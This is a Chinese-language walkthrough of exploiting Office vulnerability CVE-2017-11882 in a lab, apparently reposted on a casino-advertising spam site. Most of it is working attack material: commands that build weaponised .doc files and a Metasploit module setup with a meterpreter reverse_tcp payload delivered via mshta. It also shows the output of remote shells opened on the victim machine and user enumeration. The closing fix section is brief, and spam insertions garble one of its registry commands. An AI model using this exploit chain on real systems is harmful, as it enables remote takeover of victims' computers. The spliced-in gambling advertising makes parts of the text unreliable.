3522vip-澳门新葡亰平台官网-www.3522vip.com

3522vip☞(www.rivieraquest.com)能够为大家带来真正的真钱享受,澳门新葡亰平台官网开创业内先河,注册,开户,登录开始体验不同的娱乐世界,全国第一家以娱乐产品为主体对象的专业平台,菲律宾全资子公司成立,天天免费68周周再送168。

3522vip > 操作系统 > CVE-2017-11882漏洞利用

原标题:CVE-2017-11882漏洞利用

浏览次数:108 时间:2019-12-28

CVE-2017-11882漏洞利用

中午时候收到了推送的漏洞预警,在网上搜索相关信息看到很多大牛已经开发出生成doc文档的脚本和msf的poc,本文记录CVE-2017-11882 漏洞在 Msf下的利用。

最新Office的CVE-2017-11882的poc刚刚发布出来,让人眼前一亮,完美无弹窗,无视宏,影响Ms offcie全版本,对于企业来说危害很大。在此简单说下这个漏洞的复现和利用过程。

 

 

0x00 漏洞简介

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

 

 

 

 

0x01 利用工具清单:

a) tcp反弹:kali 172.16.253.76 

b) 安装office2013的系统:win7 172.16.253.4

 

  1. Msf 用到的 Poc

  2. office2013、激活工具

  3. win7旗舰版ISO镜像

以上工具已经打包好,下载地址:

链接:  密码:xl91

3522vip 1

 

POC地址:

0x02 利用过程

  1. 生成doc

    #安装启动nginx [root@ihoneysec ~]# yum -y install nginx [root@ihoneysec ~]# cd /usr/share/nginx/html/
    [root@ihoneysec html]# systemctl start nginx

    #下载生成doc的python脚本 [root@ihoneysec ~]# git clone [root@ihoneysec ~]# cd CVE-2017-11882/ [root@ihoneysec CVE-2017-11882]# ls Command109b_CVE-2017-11882.py Command43b_CVE-2017-11882.py example README.md

    #生成测试doc [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc [*] Done ! output file --> cve.doc [root@ihoneysec CVE-2017-11882]# cp cve.doc /usr/share/nginx/html/

    #生成msf利用的doc [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "mshta " -o cve2.doc [*] Done ! output file --> cve2.doc [root@ihoneysec CVE-2017-11882]# cp cve2.doc /usr/share/nginx/html/

    #放到网站根目录 [root@ihoneysec CVE-2017-11882]# ls /usr/share/nginx/html/ 404.html 50x.html cve.doc cve2.doc index.html nginx-logo.png poweredby.png

  

  1. 测试正常弹出calc.exe计算器

3522vip 2

 

  1. kali msf配置Poc:

    root@kali:~# cd / # 将下载好的漏洞模块放在msf任意目录下 root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ # 检查ip地址 root@kali:/mnt/hgfs/kalishare# ifconfig eth0: flags=4163 mtu 1500

         inet 172.16.253.76  netmask 255.255.0.0  broadcast 172.16.255.255
         inet6 fe80::20c:29ff:fef5:82af  prefixlen 64  scopeid 0x20<link>
         ether 00:0c:29:f5:82:af  txqueuelen 1000  (Ethernet)
         RX packets 3136  bytes 987402 (964.2 KiB)
         RX errors 0  dropped 0  overruns 0  frame 0
         TX packets 255  bytes 20912 (20.4 KiB)
         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    

    # 启动postgresql服务,打开msf root@kali:/mnt/hgfs/kalishare# service postgresql start
    root@kali:/mnt/hgfs/kalishare# msfconsole

    ...

        =[ metasploit v4.16.6-dev                          ]
    
    • -- --=[ 1683 exploits - 964 auxiliary - 297 post ]
    • -- --=[ 498 payloads - 40 encoders - 10 nops ]
    • -- --=[ Free Metasploit Pro trial: ] # 搜索cve_2017_11882 漏洞模块 msf > search cve_2017_11882

      Matching Modules

      Name Disclosure Date Rank Description


      exploit/windows/smb/cve_2017_11882 normal Microsoft Office Payload Delivery

      # 使用该模块 msf > use exploit/windows/smb/cve_2017_11882 # 设置payload为反弹tcp msf exploit(cve_2017_11882) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp # 设置本机ip msf exploit(cve_2017_11882) > set lhost 172.16.253.76 lhost => 172.16.253.76 # 设置uri的路径,要与第一步生成doc时配置一致 msf exploit(cve_2017_11882) > set URIPATH abc URIPATH => abc # 检查当前配置 msf exploit(cve_2017_11882) > show options

      Module options (exploit/windows/smb/cve_2017_11882): Name Current Setting Required Description


      SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH abc no The URI to use for this exploit (default is random)

      Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description


      EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.253.76 yes The listen address LPORT 4444 yes The listen port

      ...

      # 启动利用后,msf会监听本机8080端口,如果win7机器打开doc触发访问172.16.253.76:8080/abc就会得到反弹到4444端口的tcp会话 msf exploit(cve_2017_11882) > exploit [] Exploit running as background job 0. # 开始监听 [] Started reverse TCP handler on 172.16.253.76:4444 msf exploit(cve_2017_11882) > [] Using URL: [] Local IP: [] Server started. [] Place the following DDE in an MS document: mshta.exe "" msf exploit(cve_2017_11882) > [] 172.16.253.4 cve_2017_11882 - Delivering payload [] Sending stage (179267 bytes) to 172.16.253.4 #收到反弹tcp连接 [] Meterpreter session 1 opened (172.16.253.76:4444 -> 172.16.253.4:49272) at 2017-11-23 15:14:06 0800 [] 172.16.253.4 cve_2017_11882 - Delivering payload [] Sending stage (179267 bytes) to 172.16.253.4 [] Meterpreter session 2 opened (172.16.253.76:4444 -> 172.16.253.4:49274) at 2017-11-23 15:14:17 0800

      msf exploit(cve_2017_11882) > msf exploit(cve_2017_11882) > msf exploit(cve_2017_11882) > sessions # 查看已经建立的反弹会话

      Active sessions

      Id Type Information Connection


      1 meterpreter x86/windows win7-PCwin7 @ WIN7-PC 172.16.253.76:4444 -> 172.16.253.4:49272 (172.16.253.4) # 进入id为1的会话 msf exploit(cve_2017_11882) > sessions -i 1 [*] Starting interaction with 1... # 验证得到反弹连接是否是win7机器ip meterpreter > ipconfig

      Interface 11

      Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:72:2e:7d MTU : 1500 IPv4 Address : 172.16.253.4 IPv4 Netmask : 255.255.0.0 IPv6 Address : fe80::c15d:3813:94ec:d6c8 IPv6 Netmask : ffff:ffff:ffff:ffff::

      ...... # 进入命令模式 meterpreter > shell Process 2924 created. Channel 1 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� # 查看当前系统用户、主机名 C:Windowssystem32>net user net user

      WIN7-PC ���û��ʻ�


    Administrator Guest win7
    �����ɹ����ɡ�

C:Windowssystem32>

  

 

下载Command43b_CVE-2017-11882.py脚本文件(文末分享云盘链接)。

 

使用的方法很简单,执行下面命令,生成漏洞doc文件。

 

python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

 

3522vip 3

 

 

使用office 2013打开,直接执行。

 

3522vip 4

 

 

 

 

关于怎么进一步利用,可以利用msf进行攻击。

 

这里有个小技巧,因为命令长度有43字符的限制,可以使用URIPATH设置路径,尽量短一点,避免加起来超过43字符。

这里我仔细说一下,希望每个人都能看懂。

 

准备阶段:

kali:192.168.104

win7:192.168.1.132

win7里面的doc文件可以用office打开。我的win7虚拟机用的是office2013(文末分享)

 

3522vip 5

 3522vip 6

 

首先打开kali,查看 IP,可以看到我的虚拟机kali的 IP是192.168.1.104。把Command43b_CVE-2017-11882.py下载下来放kali的桌面就可以。接下来就要把PS_shell.rb文件下载下来。就把PS_shell.rb和ms17-010.rb放一起吧。

ms17-010.rb文件的路径是:/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17-010.rb,把PS_shell.rb放smb下面,和ms17-010在一起。

准备工作做好了,接下来就是msf上场了。

输入msfconsole,然后reload_all,重新加载所有模块。

接下来输入命令:search PS_shell

use /exploits/windows/smb/PS_shell

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.104

set uripath abc

exploit

会出现 started reverse tcp hander on 192.168.1.104:4444

using url,local ip,,,

mshta.exe ""

 

接下来就到了 Command43b_CVE-2017-11882.py 上场了。

前面说到,我们是把py文件放 kali 桌面的,所以在 kali 执行的时候路径要注意。

cd Desktop

输入命令:python Command43b_CVE-2017-11882.py -c "mshta " -o test.doc

会在同目录生成 test.doc 文件。

然后复制到 win7里面用 office2013 打开。

win7 打开的时候,msf 输入 sessions

成功返回 shell。

具体请看截图,至此CVE-2017-11882漏洞利用结束,下面还可以进行一系列渗透了。

 

3522vip 7

 3522vip 8

 3522vip 9

 

 

 

 

修复方案:

1.下载微软对此漏洞补丁:

2.在注册表中禁用该漏洞模块

3522vip,reg add "HKLMSOFTWAREMicrosoftOfficewww.3522vip.com,XX.XCommonCOM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLMSOFTWAREWow6432NodeMicrosoftOfficeXX.XCommonCOM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD/d 0x400

 

 

 

Command43b_CVE-2017-11882.py:(链接: 密码: 5ap6)

PS_shell.rb:(链接: 密码: rkwy)

office2013:(链接: 密码: q66f)

本文链接(

任重而道远!

本文由3522vip发布于操作系统,转载请注明出处:CVE-2017-11882漏洞利用

关键词: 3522vip

上一篇:Linux基本命令澳门新葡亰平台官网

下一篇:没有了